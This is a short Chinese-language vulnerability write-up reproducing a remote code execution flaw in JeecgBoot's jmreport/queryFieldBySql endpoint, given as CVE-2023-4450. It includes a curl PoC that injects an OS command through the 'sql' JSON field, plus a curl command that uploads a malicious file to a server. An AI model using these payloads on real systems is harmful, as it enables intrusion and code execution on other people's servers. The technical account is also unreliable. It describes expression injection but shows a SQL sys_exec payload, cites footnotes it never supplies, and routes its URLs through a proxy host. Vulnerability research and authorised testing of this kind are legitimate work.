JeecgBoot jmreport/queryFieldBySql RCE漏洞复现

### 关于Jeecg框架的远程代码执行（RCE）漏洞 #### 漏洞概述 JeecgBoot 存在一个严重的安全漏洞，允许攻击者通过特定接口实现远程代码执行(RCE)[^1]。此漏洞被分配了CVE编号 CVE-2023-4450[^2]。 #### 影响范围 受影响版本包括但不限于 JeecgBoot 的多个发行版，在这些版本中存在的 `jmreport/queryFieldBySql` 接口未能正确处理用户输入的数据，从而导致SQL查询字段解析过程中存在表达式注入风险[^3]。 #### 利用条件 要成功触发该漏洞，需满足以下前提： - 目标服务器上运行着易受攻击版本的 JeecgBoot 平台； - 攻击者能够访问并调用 `/jmreport/queryFieldBySql` API 路径； - 输入参数未经过充分验证即用于动态 SQL 查询构建过程； #### PoC 实现细节 为了展示如何利用这个漏洞，下面给出了一种可能的方式来测试是否存在此类安全隐患。请注意，仅应在合法授权的情况下尝试复现实验环境中的漏洞。 ```bash curl -X POST "http://target-ip:port/jmreport/queryFieldBySql" \ -H "Content-Type: application/json;charset=UTF-8" \ -d '{"sql":"select * from (values((sys_exec(''whoami'')))) t(x)" }' ``` 上述命令向目标主机发送了一个恶意构造的 JSON 请求体，其中包含了嵌入式的操作系统命令执行函数调用(`sys_exec`)。如果服务端确实存在缺陷，则会返回当前用户的名称作为响应的一部分。 此外，还有更复杂的场景涉及到文件上传功能滥用的情况，例如可以通过如下方式将可执行文件放置到服务器本地磁盘位置： ```bash curl http://target-ip:port/path_to_upload_endpoint -F file=@/path/to/malicious_file ``` 这里假设路径 `/path_to_upload_endpoint` 是一个可以接受文件提交的服务地址，而 `-F file=@...` 表示附带待传输的实际二进制数据流。 ---